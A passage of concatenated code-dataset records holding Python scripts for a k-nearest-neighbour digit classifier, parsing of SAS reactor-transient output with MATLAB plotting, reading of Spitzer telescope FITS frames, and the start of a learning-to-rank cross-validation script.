valFeatures:\n\t\t\ta = np.array(map(float, valRow))\n\t\t\t# lst: first element = Euclidean distance, second element = corresponding digit\n\t\t\tlst = []\n\t\t\twith open('trainFeatures.csv', 'rb') as csvTrain:\n\t\t\t\ttrainFeatures = csv.reader(csvTrain, delimiter=',')\n\t\t\t\tfor trainRow in trainFeatures:\n\t\t\t\t\tb = np.array(map(float, trainRow))\n\t\t\t\t\tcurr_distance = float(sum(np.sqrt((a-b) * (a-b))))\n\t\t\t\t\tif len(lst) < 25:\n\t\t\t\t\t\tlst.append((curr_distance, dic[tuple(trainRow)]))\n\t\t\t\t\t\tlst = sorted(lst, key=lambda x: x[0])\n\t\t\t\t\telif curr_distance < lst[len(lst)-1][0]:\n\t\t\t\t\t\tlst.pop()\n\t\t\t\t\t\tlst.append((curr_distance, dic[tuple(trainRow)]))\n\t\t\t\t\t\tlst = sorted(lst, key=lambda x: x[0])\n\n\t\t\t# k = 1, 2\n\t\t\tguess = lst[0][1]\n\t\t\tprint(\"k=1 Iteration \" + str(iteration) + \": \" + str(guess))\n\t\t\twriter.writerow([guess])\n\n\t\t\t# writer1.writerow([guess])\n\t\t\t# writer2.writerow([guess])\n\n\t\t\t# # k = 5,10,25\n\t\t\t# for k in [5,10,25]:\n\t\t\t# \tvalues = [[0.0,0,i] for i in range(10)]\n\t\t\t# \tfor item in lst[:k]:\n\t\t\t# \t\tdist = item[0]\n\t\t\t# \t\tdigit = item[1]\n\t\t\t# \t\tvalues[digit][0] += dist\n\t\t\t# \t\tvalues[digit][1] += 1\n\t\t\t# \tfor i in values:\n\t\t\t# \t\tavg_dist = i[0]\n\t\t\t# \t\tnum = i[1]\n\t\t\t# \t\tif num != 0:\n\t\t\t# \t\t\ti[0] = avg_dist / num\n\t\t\t# \t# print values\n\t\t\t# \tmax_occurrences = 0\n\t\t\t# \ttie = []\n\t\t\t# \tfor i in values:\n\t\t\t# \t\tif i[1] > max_occurrences:\n\t\t\t# \t\t\ttie = [i]\n\t\t\t# \t\t\tmax_occurrences = i[1]\n\t\t\t# \t\telif i[1] == max_occurrences:\n\t\t\t# \t\t\ttie.append(i)\n\t\t\t# \ttie = sorted(tie, key=lambda x: x[0])\n\t\t\t# \t# print tie\n\t\t\t# \tguess = tie[0][2]\n\t\t\t# \tif k == 5:\n\t\t\t# \t\tprint(\"k=\" + str(k) + \" Iteration \" + str(iteration) + \": \" + str(guess))\n\t\t\t# \t# elif k==10 or k==25:\n\t\t\t# \t# \tprint(\"k=\" + str(k) + \" Iteration \" + str(iteration) + \": \" + str(guess))\n\t\t\t# \tif k == 5:\n\t\t\t# \t\twriter5.writerow([guess])\n\t\t\t# \telif k == 10:\n\t\t\t# \t\twriter10.writerow([guess])\n\t\t\t# \telif k == 25:\n\t\t\t# \t\twriter25.writerow([guess])\n\t\t\titeration += 1","sub_path":"knearest.py","file_name":"knearest.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"432950015","text":"#!/usr/bin/python\n\n#-------------------------------------------------------------------------------\n#run from the command line using './extractSAS output_file_name'\n#extracts the reactivity components, temperatures, power, flow, etc for each printed \n#timestep. uses matlab to plot data in peak channel. \n#user is required to input which is the peak channel.\n#-------------------------------------------------------------------------------\n\n#####\n#user input\n#####\n\nchannelNums = [4] #[1,2,3,4] #channel numbers of to be plotted\nrhoLimits = '[]' #range of reactivity to be plotted, ($), no spaces allowed, leave as '[]' if you want code to decide\nshortTimeLimit = 500 #range of time to be plotted in short time scale plots, (s)\nIHXintermediateSide = 13 #element number of intermediate side of IHX (tube side)\nIHXpump = 2 #element number of intermediate pump\nprecursorDecayConstants = [1.3377E-2, 3.1026E-2, 1.1763E-1, 3.0917E-1, 8.8605E-1, 2.9416E0]\n#topOfActiveCore = '0.81280' #string with height of top of active core. enter exactly as printed in SAS output\ntopOfActiveCore = '1.06680'\n#matlabExe = '/Applications/MATLAB_R2014b.app/bin/matlab' #for running locally\nmatlabExe = 'matlab' #for running on savio\n\n\n#####\n#imports\n#####\n\nfrom os import chdir\nfrom os import getcwd\nfrom os import mkdir\nfrom os import remove\nfrom subprocess import Popen\nfrom sys import argv\n\nfrom matlabPlotCommands import matlabPlotCommands\nimport modules\n\n\n#####\n#do extraction for each channel\n#####\n\n#make folders for global plots (power, rho, precursors)\nmkdir('globalPlots')\nmkdir('globalFigs')\n\nfor channel in channelNums:\n\n print('channel '+str(channel)+' extraction:\\n')\n\n #####\n #initialize stuff\n #####\n \n print('initializing stuff...\\n')\n \n #reactivity parameters\n rhoStep = []\n rhoTime = [] #[s]\n power = [] #normalized\n decayPower = [] #fraction of normalized total power\n fissionPower = [] #fraction of normalized total power\n netReactivity = [] #[$]\n CRDL = [] #[$]\n radExpansion = [] #[$]\n doppler = [] #[$]\n fuelAxialExpansion = [] #[$]\n cladAxialExpansion = [] #[$]\n coolant = [] #[$]\n structureAxialExpansion = [] #[$]\n controlSystem = [] #[$]\n \n #primary loop parameters\n tempStep = [] #time steps in temperature table\n tempTime = [] #times in temperature tables [s]\n saturation = [] #[K]\n fuelPeak = [] #[K]\n cladPeak = [] #[K]\n coolantPeak = [] #[K]\n flowRate = [] #normalized\n coolantInlet = [] #[K]\n coolantOutlet = [] #[K]\n fuelAve = [] #[K]\n cladAve = [] #[K]\n topActiveCoreTemp = [] #[K]\n \n #intermediate loop parameters\n IHXintermediateInlet = [] #[K]\n IHXintermediateOutlet = [] #[K]\n IHXflow = [] #[normalized]\n \n #delayed neutron precursor decay rates\n group1 = []\n group2 = []\n group3 = []\n group4 = []\n group5 = []\n group6 = []\n \n #put all entries into tables\n rhoTab = [rhoStep, rhoTime, power, decayPower, fissionPower, netReactivity, CRDL, radExpansion, doppler, fuelAxialExpansion, cladAxialExpansion, coolant, structureAxialExpansion, controlSystem]\n primaryTab = [tempStep, tempTime, saturation, fuelPeak, cladPeak, coolantPeak, flowRate, coolantInlet, coolantOutlet, fuelAve, cladAve, topActiveCoreTemp]\n intermediateTab = [tempStep, tempTime, IHXintermediateInlet, IHXintermediateOutlet, IHXflow]\n precursorTab = [tempTime, group1, group2, group3, group4, group5, group6]\n \n \n #####\n #open file and read\n #####\n \n print('reading from SAS output file...\\n')\n \n outputFile = str(argv[-1])\n \n fs = open(outputFile, 'r')\n \n tempTableFlag = 0\n for line in fs:\n try:\n if line[0:3] == ' ++': #get reactivity at steps\n rhoTab = modules.getStepReactivity(line, rhoStep, rhoTime, power, decayPower, fissionPower, netReactivity, CRDL, radExpansion, doppler, fuelAxialExpansion, cladAxialExpansion, coolant, structureAxialExpansion, controlSystem)\n elif line[0:34] == ' MAIN TIME STEP': #get times at steps\n [tempStep, tempTime] = modules.tempStepTime(line, tempStep, tempTime)\n elif line[0:24] == ' FINISHED NULL TRANSIENT': #alter primaryTab to remove null transient info\n [tempStep, tempTime, IHXflow, IHXintermediateInlet, IHXintermediateOutlet] = modules.removeSteadyState(tempStep, tempTime, IHXflow, IHXintermediateInlet, IHXintermediateOutlet)\n elif line.split()[0] == 'MAXIMUM' and line.split()[1] == 'TEMPERATURES': #if at table of max temps, go through following lines to find peak channel info\n nextLine = fs.next()\n chanFlag = 0\n while chanFlag == 0:\n if nextLine[19:20] == str(channel): #if peak channel, save info\n [saturation, fuelPeak, cladPeak, coolantPeak, chanFlag] = modules.channelPeakValues(nextLine, saturation, fuelPeak, cladPeak, coolantPeak)\n else: #if peak channel not on this line, skip to next\n nextLine = fs.next()\n elif line.split()[0] == '***' and line.split()[1] == 'TRANSIENT' and int(line.split()[-2]) == channel: #if spot for transient normalized flow\n nextLine = fs.next()\n flowRate.append(float(nextLine.split()[-1]))\n inletFlag = 0\n while inletFlag == 0: #get inlet, outlet, and top of active core temps\n if nextLine.split()[0] == 'VESSEL' and nextLine.split()[1] == 'OUTLET': #get outlet temp\n nextLine = fs.next()\n coolantOutlet.append(float(nextLine[15:23]))\n elif nextLine.split()[0] == topOfActiveCore: #get temp at top of active core\n topActiveCoreTemp.append(float(nextLine[15:23]))\n nextLine = fs.next()\n elif nextLine.split()[0] == '0.00000': #get inlet temp\n coolantInlet.append(float(nextLine[15:23]))\n inletFlag = 1\n else:\n nextLine = fs.next()\n fuelFlag = 0\n while fuelFlag == 0:\n if nextLine[0:39] == ' INNER MIDPOINT OUTER': #get average fuel temp\n nextLine = fs.next()\n nextLine = fs.next() #skip two lines\n fuelNodeMidHeight = []\n fuelNodeAveTemp = []\n cladNodeAveTemp = []\n fuelNodeFlag = 0\n while fuelNodeFlag == 0:\n if nextLine == '\\n': #if blank line, table is over\n fuelNodeFlag = 1\n else: #read in values\n [fuelNodeMidHeight, fuelNodeAveTemp, cladNodeAveTemp] = modules.nodeTemps(nextLine, fuelNodeMidHeight, fuelNodeAveTemp, cladNodeAveTemp)\n nextLine = fs.next()\n [fuelNodeMidHeight, fuelNodeAveTemp, cladNodeAveTemp] = modules.reverseNodeOrder(fuelNodeMidHeight, fuelNodeAveTemp, cladNodeAveTemp)\n #find average temperature of fuel/clad by volume-weighted average\n [fuelAve, cladAve] = modules.aveFuelCladTemp(fuelNodeMidHeight, fuelNodeAveTemp, cladNodeAveTemp, fuelAve, cladAve)\n fuelFlag = 1\n else: #move to next line to find table\n nextLine = fs.next()\n elif line[0:36] == ' PUMPS': #get intermediate loop flow rate from pump info\n nextLine = fs.next() #skip a line\n if nextLine == ' PUMP FLOW HEAD SPEED PUMP TORQUE MOTOR TORQUE HYDRAULIC EFFICIENCY': #if its first instance, skip it\n pass\n else: #if not first instance, record normalized flow\n nextLine = fs.next() #skip line\n IHXflow.append(float(nextLine.split()[7]))\n elif line[0:20] == ' IHX TEMPERATURES, K' and int(line.split()[-1]) == IHXintermediateSide: #get temps at inlet and outlet of IHX intermediate side (tube side)\n nextLine = fs.next() #skip 4 lines\n nextLine = fs.next()\n nextLine = fs.next()\n nextLine = fs.next()\n IHXintermediateInlet.append(float(nextLine.split()[4]))\n IHXnodeFlag = 0\n while IHXnodeFlag == 0: #go through table until reaching end\n previousLine = nextLine\n nextLine = fs.next()\n if nextLine == '\\n': #if its empty, the previous line has outlet coolant temp\n IHXintermediateOutlet.append(float(previousLine.split()[2]))\n IHXnodeFlag = 1\n elif line[0:40] == ' NUMBER CONCENTRATION': #get delayed neutron precursor concentrations and multiply by decay constant\n i = 1 #iterate for group\n for group in precursorTab[1:]:\n nextLine = fs.next()\n if nextLine[27:28] == '-': #if value is negative, set it to zero\n group.append(0.0)\n else:\n group.append(float(nextLine.split()[1][0:7]+'E'+nextLine.split()[1][8:])*precursorDecayConstants[i-1])\n i = i + 1\n else: #not of interest\n pass\n except (KeyError, ValueError, IndexError): #if the line is shit\n pass\n \n fs.close()\n \n #alter table to include SS temps (approximating SS by values at first step)\n [flowRate, coolantInlet, coolantOutlet, fuelAve, cladAve, precursorTab, topActiveCoreTemp] = modules.addSteadyStateValues(flowRate, coolantInlet, coolantOutlet, fuelAve, cladAve, precursorTab, topActiveCoreTemp)\n \n #find min and max rho components if not specified by user\n if rhoLimits == '[]':\n rhoLimits = modules.findRhoLimits(rhoTab)\n\n #alter tables if only part of the info was printed out/read in (i.e. if SAS printed out saturation temp but aborted before printing out coolant peak temp)\n primaryTab = modules.correctPrimaryTab(primaryTab)\n precursorTab = modules.correctPrecursorTab(precursorTab)\n\n \n #####\n #print to temporary file\n #####\n \n print('printing temporary files...\\n')\n \n #make new directory and move into it\n mkdir('chan'+str(channel))\n chdir('./chan'+str(channel))\n\n #make tmp\n runDir = getcwd()\n fr = open('rho.txt', 'w')\n fp = open('temp.txt', 'w')\n fi = open('intermediate.txt', 'w')\n fpr = open('precursor.txt', 'w')\n \n #print reactivity tables\n modules.printReactivityTables(fr, rhoTab)\n fr.close()\n \n #print primary tables\n modules.printPrimaryTables(fp, primaryTab)\n fp.close()\n \n #print intermediate tables\n modules.printIntermediateTables(fi, intermediateTab)\n fi.close()\n \n #print precursor tables\n modules.printPrecursorTables(fpr, precursorTab)\n fpr.close()\n \n \n #####\n #make matlab produce plots\n #####\n \n #matlab commands, #write out matlab commands here with no spaces, end with the quit command\n command = matlabPlotCommands(runDir, shortTimeLimit, rhoLimits, matlabExe)\n \n print('plotting...')\n \n plotRun = Popen(command)\n plotRun.wait()\n \n print('plotting complete...\\n')\n \n #####\n #clean up\n #####\n \n print('cleaning up...\\n')\n \n #delete temporary files\n modules.deleteTmpFiles()\n\n #move power, rho, and precursor plots out of channel-specific folders, as they are global to whole core\n if channel == channelNums[0]: #if this is first channel in list, move plots\n modules.moveGlobalPlots()\n else: #if not first channel in list, just delete files, they are duplicate\n modules.deleteGlobalPlots()\n\n #move out of channel directory\n chdir('../')\n\nprint('data extraction complete')\n\n#print max temp\nfm = open('../../../max.txt', 'a')\nfm.write(str(max(primaryTab[5]))+'\\n')\nfm.close()\n\n#print asmptotic temp\nfa = open('../../../asymptotic.txt', 'a')\nfa.write(str(max(primaryTab[-1]))+'\\n')\nfa.close()\n\n#####\n#delete mini.out\n#####\n\nremove('mini.out')\n","sub_path":"extractSAS.py","file_name":"extractSAS.py","file_ext":"py","file_size_in_byte":12454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"99538119","text":"import numpy as np\nimport astropy.io.fits as fits\nimport astropy.wcs as pw\nimport time, re\nimport univ\n\nclass FrameParameters:\n \"\"\"\n class holder of the frame parameters.\n \"\"\"\n def __init__(self):\n pass\n\ndef poet_dataread(event, type=0, log=None):\n \"\"\"\n This function reads a set of IRAC AORS, (or IRAC Subarray AORS),\n sorting by dither position, if any.\n\n Parameters:\n ----------\n event : An event object. \n type : integer\n Specifies the type of data to read. \n 0 = data, 1 = precalibration data, 2 = postcalibration data.\n log : A logedit object that keeps the log.\n\n Outputs:\n -------\n data : [maxnimpos, nx, ny, npos] float array containing the data \n frames, sorted into dither positions.\n head : header data\n uncd : [maxnimpos, nx, ny, npos] float array, uncertainties\n bdmskd: [maxnimpos, nx, ny, npos] int array, per-pixel data flag\n nimpos: array like\n array containing the number of frames in each position.\n fp: FrameParameters object containing [npos, maxnimpos] double arrays \n of per-frame parameters.\n\t\n Example:\n -------\n\n Modification History:\n --------------------\n Written by:\tJoseph Harrington, Cornell.\n 2005-09-16 jh@oobleck.astro.cornell.edu\n 2005-10-26 jh Fixed frame times.\n 2005-10-27\tjh Moved calculation of some constants out of the\n\t\t routine. Filled in header. Corrected some\n\t\t array datatypes.\n 2005-11-25\tjh Converted to using FP array.\n 2006-01-04\tjh Header tweak.\n 2006-03-20 jh Added zodi, ism, cib header values.\n 2007-03-07 khorning Adapted program to use for non-subarray data\n 2007-07-15 jh Made nimpos be a long, not integer, array.\n 2010-08-24 patricio Converted to python.\n 2010-10-27 patricio Comments added.\n 2014-08-13 garland switched the pyfits package to astropy.io.fits\n\t zabblleon@gmail.com \n 2017-06-20 zacchaeus Fixed None comparisons.\n 2018-01-10 zacchaeus Updated to Python 3\n zaccysc@gmail.com\n \"\"\"\n # General variables\n dpref = event.dpref # data directory preffix\n expadj = event.expadj # id number of fisrt image\n ndcenum = event.ndcenum # number of dcenum\n npos = event.npos # number of position\n nnod = event.nnod # number of nodding positions\n #fpref = event.fpref # file names prefix\n pipev = event.pipev # spitzer pipeline version\n bcddir = event.inst.bcddir # directory containing bcd files\n bcdsuf = event.inst.bcdsuf # bcd file suffix\n buncsuf = event.inst.buncsuf # uncertainities file preffix\n #bdmsksuf = event.inst.bdmsksuf # badpixelmask file suffix\n brmsksuf = event.inst.brmsksuf # badpixelmask file suffix\n if not event.nomask:\n masksuf = event.masksuf # badpixelmask file suffix\n nx = event.nx # \n ny = event.ny # \n nz = event.nz # number of subarrays in datafile\n nh = event.nh # \n framtime = event.framtime # \n \n # AORs/cal AORs variables\n aorname = event.aorname[np.where(event.aortype==type)]\n if type == 2: # Post calibration:\n naor = event.postnaor # number of AORs\n nexpid = event.postnexpid \n maxnimpos = int(event.postmaxnimpos)\n nmcyc = event.postnmcyc\n bcdlist = event.postbcdfiles # List of files to read\n elif type == 1: # Preflash:\n naor = event.prenaor\n nexpid = event.prenexpid \n maxnimpos = int(event.premaxnimpos)\n nmcyc = event.prenmcyc\n bcdlist = event.prebcdfiles\n elif type == 0: # Event:\n naor = event.naor\n nexpid = event.nexpid\n maxnimpos = int(event.maxnimpos)\n nmcyc = event.nmcyc\n nscyc = event.nscyc\n bcdlist = event.bcdfiles\n\n # Allocate space for returned arrays\n headerdtype = 'S'+str(nh*81)\n head = np.zeros( (maxnimpos // nz, npos), dtype=headerdtype)\n data = np.zeros( (maxnimpos, ny, nx, npos), dtype=float)\n uncd = np.zeros( (maxnimpos, ny, nx, npos), dtype=float)\n bdmskd = np.zeros( (maxnimpos, ny, nx, npos), dtype=int)\n brmskd = np.zeros( (maxnimpos, ny, nx, npos), dtype=int)\n\n # Allocate space for the frame paramaters\n fp = FrameParameters()\n fpsize = np.zeros((npos, maxnimpos))\n fp.frmobs = np.copy(fpsize) # sequential frame number\n fp.pos = np.copy(fpsize) # position number\n fp.aor = np.copy(fpsize) # sequential AOR number\n fp.expid = np.copy(fpsize) # EXPosure ID\n fp.dce = np.copy(fpsize) # Data Collection Event\n fp.subarn = np.copy(fpsize) # subarray frame number\n fp.time = np.copy(fpsize) # frame mid-time, seconds J2000.0\n fp.zodi = np.copy(fpsize) # zodiacal light estimate, see header comment\n fp.ism = np.copy(fpsize) # interstellar medium estimate,see head comment\n fp.cib = np.copy(fpsize) # cosmic infrared background,see header comment\n fp.afpat2b = np.copy(fpsize) # temperatures, K, see header comment\n fp.afpat2e = np.copy(fpsize) \n fp.ashtempe = np.copy(fpsize) \n fp.atctempe = np.copy(fpsize) \n fp.acetempe = np.copy(fpsize) \n fp.apdtempe = np.copy(fpsize) \n fp.acatmp1e = np.copy(fpsize) \n fp.acatmp2e = np.copy(fpsize)\n fp.acatmp3e = np.copy(fpsize) \n fp.acatmp4e = np.copy(fpsize) \n fp.acatmp5e = np.copy(fpsize) \n fp.acatmp6e = np.copy(fpsize) \n fp.acatmp7e = np.copy(fpsize) \n fp.acatmp8e = np.copy(fpsize)\n fp.avrstucc = np.copy(fpsize) # volatages, Volts, see header comments\n fp.avrstbeg = np.copy(fpsize)\n fp.avdetc = np.copy(fpsize)\n fp.avdetbeg = np.copy(fpsize)\n fp.avgg1beg = np.copy(fpsize)\n fp.avdducc = np.copy(fpsize)\n fp.avddubeg = np.copy(fpsize)\n fp.avggclc = np.copy(fpsize)\n fp.avggcbeg = np.copy(fpsize)\n fp.ahtribeg = np.copy(fpsize) # heater current (uA) at start of integration\n fp.ahtrvbeg = np.copy(fpsize) # heater voltage (V) at start of integration\n # mips frame parameters\n fp.cmd_t_24 = np.copy(fpsize)\n fp.ad24tmpa = np.copy(fpsize)\n fp.ad24tmpb = np.copy(fpsize)\n fp.acsmmtmp = np.copy(fpsize)\n fp.aceboxtm = np.copy(fpsize)\n fp.pxscl2 = np.copy(fpsize)\n fp.pxscl1 = np.copy(fpsize)\n \n fp.heady = np.copy(fpsize) \n fp.headx = np.copy(fpsize) \n fp.filename = np.zeros((npos, maxnimpos), dtype='S150')\n\n nimpos = np.zeros(npos, np.long)\n\n # conveniences\n salist = np.arange(nz)\n sadind = np.arange(nz, dtype=np.double)\n\n # position of the star\n sky = [[event.ra*180./np.pi, event.dec*180./np.pi]]\n\n # dictionary to get position in MIPS\n mirind = {1929.:0, 2149.5:1, 1907.5:2, 2128.:3,\n 1886.:4, 2106.5:5, 1864.5:6}\n\n # Write to log first line\n title=[\"\\nEvent data:\\n\", \"\\nPreflash data:\\n\", \"\\nPost-calibration data:\\n\"]\n if log is not None:\n log.writelog(title[type] + ' aor expid dcenum pos')\n else:\n print(title[type] + ' aor expid dcenum pos')\n\n # pattern to find expid dcenum \n pattern = re.compile(\"_([0-9]{4})_([0-9]{4})_\")\n\n\n # Obtain data\n for aor in np.arange(naor):\n dir = dpref + aorname[aor] + bcddir\n bcd = bcdlist[aor]\n\n for i in np.arange(len(bcd)):\n # Read data\n try:\n dataf, bcdhead = fits.getdata(dir + bcd[i], header=True)\n except: # If a file doesn't exist, skip to next file.\n log.writelog(dir + bcd[i] + \" File not found!\")\n continue\n\n try: # Read uncertainity and mask files\n # Replace suffix in bcd file to get the corresponding file.\n uncfile = re.sub(bcdsuf, buncsuf, dir + bcd[i])\n uncf = fits.getdata(uncfile)\n mskfile = re.sub(bcdsuf, masksuf, dir + bcd[i])\n bdmskf = fits.getdata(mskfile)\n except:\n pass\n\n try: # Mips\n brmskfile = re.sub(bcdsuf, brmsksuf, dir + bcd[i])\n brmskf = fits.getdata(brmskfile)\n except:\n brmskf = -np.ones((nz, ny, nx), np.long)\n\n # Obtain expid and dcenum\n index = pattern.search(bcd[i])\n expid = int(index.group(1))\n dcenum = int(index.group(2))\n\n # Find dither position\n try:\n pos = bcdhead['DITHPOS'] - 1\n except: \n pos = 0 # No dither position in stare data\n if event.inst.name == 'irs':\n pos = expid % npos\n elif event.inst.name == 'mips':\n nod = expid % nnod\n pos = nod * nscyc + mirind[bcdhead['CSM_PRED']]\n\n be = nimpos[pos] # begining\n en = nimpos[pos] + nz # end\n\n # Store data\n data [be:en, :, :, pos] = dataf.reshape( (nz,ny,nx))\n uncd [be:en, :, :, pos] = uncf.reshape( (nz,ny,nx))\n \n if not event.nomask:\n bdmskd[be:en, :, :, pos] = bdmskf.reshape((nz,ny,nx))\n brmskd[be:en, :, :, pos] = brmskf.reshape((nz,ny,nx))\n else: # If no masks supplied, set to 1 everywhere\n bdmskd[be:en, :, :, pos] = 1\n brmskd[be:en, :, :, pos] = 1\n # All the single numbers per frame that we care about\n fp.frmobs[pos, be:en] = np.sum(nimpos) + salist\n fp.pos [pos, be:en] = pos\n fp.aor [pos, be:en] = aor\n fp.expid [pos, be:en] = expid\n fp.dce [pos, be:en] = dcenum\n fp.subarn[pos, be:en] = salist\n # ccampo 2011/3/18: changed to UTC from SCLK to avoid timing inconsistencies\n fp.time [pos, be:en] = bcdhead['UTCS_OBS'] + framtime*(sadind+0.5)\n\n # Header info to read out\n keys = ['ZODY_EST',\n 'ISM_EST' ,\n 'CIB_EST' ,\n 'AFPAT2B' ,\n 'AFPAT2E' ,\n 'ASHTEMPE',\n 'ATCTEMPE',\n 'ACETEMPE',\n 'APDTEMPE',\n 'ACATMP1E',\n 'ACATMP2E',\n 'ACATMP3E',\n 'ACATMP4E',\n 'ACATMP5E',\n 'ACATMP6E',\n 'ACATMP7E',\n 'ACATMP8E',\n 'AVRSTUCC',\n 'AVRSTBEG',\n 'AVDETC' ,\n 'AVDETBEG',\n 'AVGG1BEG',\n 'AVDDUCC' ,\n 'AVDDUBEG',\n 'AVGGCLC' ,\n 'AVGGCBEG',\n 'AHTRIBEG',\n 'AHTRVBEG']\n\n # Arrays to fill in (same order as keys)\n headarrs = [fp.zodi ,\n fp.ism ,\n fp.cib ,\n fp.afpat2b ,\n fp.afpat2e ,\n fp.ashtempe,\n fp.atctempe,\n fp.acetempe,\n fp.apdtempe,\n fp.acatmp1e,\n fp.acatmp2e,\n fp.acatmp3e,\n fp.acatmp4e,\n fp.acatmp5e,\n fp.acatmp6e,\n fp.acatmp7e,\n fp.acatmp8e,\n fp.avrstucc,\n fp.avrstbeg,\n fp.avdetc ,\n fp.avdetbeg,\n fp.avgg1beg,\n fp.avdducc ,\n fp.avddubeg,\n fp.avggclc ,\n fp.avggcbeg,\n fp.ahtribeg,\n fp.ahtrvbeg]\n\n # Read in header info. Sometimes keys are missing, hence\n # the try/except\n for k in range(len(keys)):\n try:\n headarrs[k][pos, be:en] = bcdhead[keys[k]]\n except:\n pass\n\n try:\n fp.pxscl2[pos, be:en] = np.abs(bcdhead['PXSCAL2'])\n fp.pxscl1[pos, be:en] = np.abs(bcdhead['PXSCAL1'])\n fp.acatmp5e[pos, be:en] = bcdhead['CMD_T_24']\n fp.acatmp6e[pos, be:en] = bcdhead['AD24TMPA']\n fp.acatmp6e[pos, be:en] = bcdhead['AD24TMPB']\n fp.acatmp5e[pos, be:en] = bcdhead['ACSMMTMP']\n fp.acatmp6e[pos, be:en] = bcdhead['ACEBOXTM'] + 273.0\n except:\n pass\n\n # Store filename\n fp.filename[pos, be:en] = dir + bcd[i]\n\n # Store header\n head[np.int(nimpos[pos] / nz), pos] = np.str(bcdhead)\n\n # Header position of the star:\n bcdhead[\"NAXIS\"] = 2\n wcs = pw.WCS(bcdhead, naxis=2)\n pix = wcs.wcs_world2pix(sky,0)\n fp.headx[pos, be:en] = pix[0][0]\n fp.heady[pos, be:en] = pix[0][1]\n\n # Print to log and screen:\n if log is not None:\n log.writelog('%4d'%aor + '%7d'%expid + '%7d'%dcenum + '%7d'%pos)\n else:\n print('%4d'%aor + '%7d'%expid + '%7d'%dcenum + '%7d'%pos)\n\n nimpos[pos] += nz\n\n # frame tags in fp\n\n # where there exist data\n fp.exist = np.zeros((npos, maxnimpos), np.long)\n for pos in np.arange(npos):\n fp.exist[pos, 0:nimpos[pos]] = 1\n \n fp.im = np.copy(fpsize) # Frame within position\n for pos in np.arange(npos):\n fp.im[pos, 0:nimpos[pos]] = np.arange(nimpos[pos], dtype=np.double)\n\n if event.inst.name != 'mips':\n fp.cycpos = np.trunc(fp.frmobs / (npos * nmcyc * nz)) # Cycle number\n fp.visobs = np.trunc(fp.frmobs / (nmcyc * nz))# Visit number within obs. set\n fp.frmvis = fp.im % (nmcyc * nz) # Frame within visit\n\n else:\n fp.cycpos = np.trunc(fp.frmobs / (2*ndcenum)) # Cycle number\n fp.visobs = np.trunc(fp.frmobs / ndcenum) # Visit number within obs. set\n fp.frmvis = np.trunc(fp.frmobs % ndcenum) # Frame within visit\n\n # Image scale:\n for pos in np.arange(npos):\n last = nimpos[pos]\n if np.all(fp.pxscl1[pos, 0:last] == fp.pxscl1[pos, 0]):\n event.posscl[1, pos] = np.abs(fp.pxscl1[pos, 0])\n if np.all(fp.pxscl2[pos, 0:last] == fp.pxscl2[pos, 0]):\n event.posscl[0, pos] = np.abs(fp.pxscl2[pos, 0])\n\n # Update event:\n if type == 0:\n event.data = data\n event.uncd = uncd\n event.bdmskd = bdmskd\n event.brmskd = brmskd\n event.head = head\n event.fp = fp\n event.nimpos = nimpos\n elif type == 1:\n event.predata = data\n event.preuncd = uncd\n event.prebdmskd = bdmskd\n event.prebrmskd = brmskd\n event.prehead = head\n event.prefp = fp\n event.prenimpos = nimpos\n elif type == 2:\n event.postdata = data\n event.postuncd = uncd\n event.postbdmskd = bdmskd\n event.postbrmskd = brmskd\n event.posthead = head\n event.postfp = fp\n event.postnimpos = nimpos\n\n event.fp.filename = event.fp.filename.astype(np.unicode_)\n\n return\n","sub_path":"lib/pdataread.py","file_name":"pdataread.py","file_ext":"py","file_size_in_byte":14243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"73483329","text":"############################################################\n# Given a docs file containing abstracts for results from the 30 topics in topics2017.xml and qrels files and docs,\n# does cross-validation of the given LeToR configuration.\n#\n# Lowell Milliken\n############################################################\nimport random\nimport learning_to_rank as l2r\nimport pickle\nimport os\n\nfrom learning_to_rank import load_indriscores\n\ncv_dir = 'cv_files'\n# m - meta\n# sd - splitdrugs\n# f - filter\n# t - target\n# jd - journal disease\n# tl - text length\n# is - indri scores\nfeatures_template = 's_{}_known_features_{}'\nunknown_template = 's_{}_{}_unknown_features_{}'\nmodel_name = cv_dir + os.sep + '{}_{}_model_{}'\nscore_filename = cv_dir + os.sep + '{}_{}_model_{}scores'\n\n\ndef gen_cv_sets():\n cv_sets = [1]*3 + [2]*3 + [3]*3 + [4]*3 + [5]*3 + [6]*3 + [7]*3 + [8]*3 + [9]*3 + [10]*3\n random.seed()\n random.shuffle(cv_sets)\n return cv_sets\n\n\n# ListNet rparams = {'-lr': 0.1, '-epoch': 3000}\ndef do_cv(unknown_docs_filename='topics2017_m_as_ex_tr_nd_ft_nsh_prf-2-20-0.5-0.5_large_gfix_alldocs.txt',\n meta=False, splitdrugs=False, metric='P@10', program='RankLib', filtered=False, targetproxy=False, dist=5,\n journaldisease=False, textlen=True, indriscore=False, otherscore=False, ranker='ListNet', rparams=None,\n kscorefile='topics2017_m_as_ex_tr_nd_ft_nsh_prf-2-10-0.5-0.8_basescores_large_gfix_run.txt',\n scorefile='topics2017_m_as_ex_tr_nd_ft_nsh_prf-2-10-0.5-0.8_ob-topics2017_m_as_ex_tr_nd_ft_nsh_prf-2-20-0.5-0.5_large_gfix_large_gfix_run.txt',\n fixparts=True, normscores=False, phraseterms=False, intval=True, termfile=None, termkeyfile=None, nodrugs=False):\n \"\"\"Creates a ranked list output file in TREC format doing training and cross validation for LeToR.\n\n :param unknown_docs_filename: name of file containing abstracts from the current Retrieval stage run\n :param meta: Boolean. Use metamap CUIs or not. Requires unknown_docs_filename + '.meta' file containing CUIs for each abstract.\n :param splitdrugs: split drugs into multiple features?\n :param metric: metric to train on. See RankLib help for options.\n :param program: Program to do LeToR with. Default RankLib.\n :param filtered: Filter CUIs to use with meta option. Requires either fterms.pickle or terms_filtered.pickle (for phraseterms) file.\n :param targetproxy: Use proximity to the work 'target' as a feature.\n :param dist: distance threshold for 'target' proximity\n :param journaldisease: Use disease presence in journal name as a feature.\n :param textlen: Use abtract length as a feature.\n :param indriscore: Use the indri score as a feature. Requires Indri scores for the qrel documents called unknown_docs_filename[:-11] + basescores_run.txt and a Indri results file called unknown_docs_filename[:-11] + run.txt\n :param otherscore: Use tf-idf and bm25 scores as a feature. Requires 'qrel_tfidfbase_run.txt' and 'qrel_bm25base_run.txt' as well as unknown_docs_filename[:-11] + 'tfidfbase_run.txt' and unknown_docs_filename[:-11] + 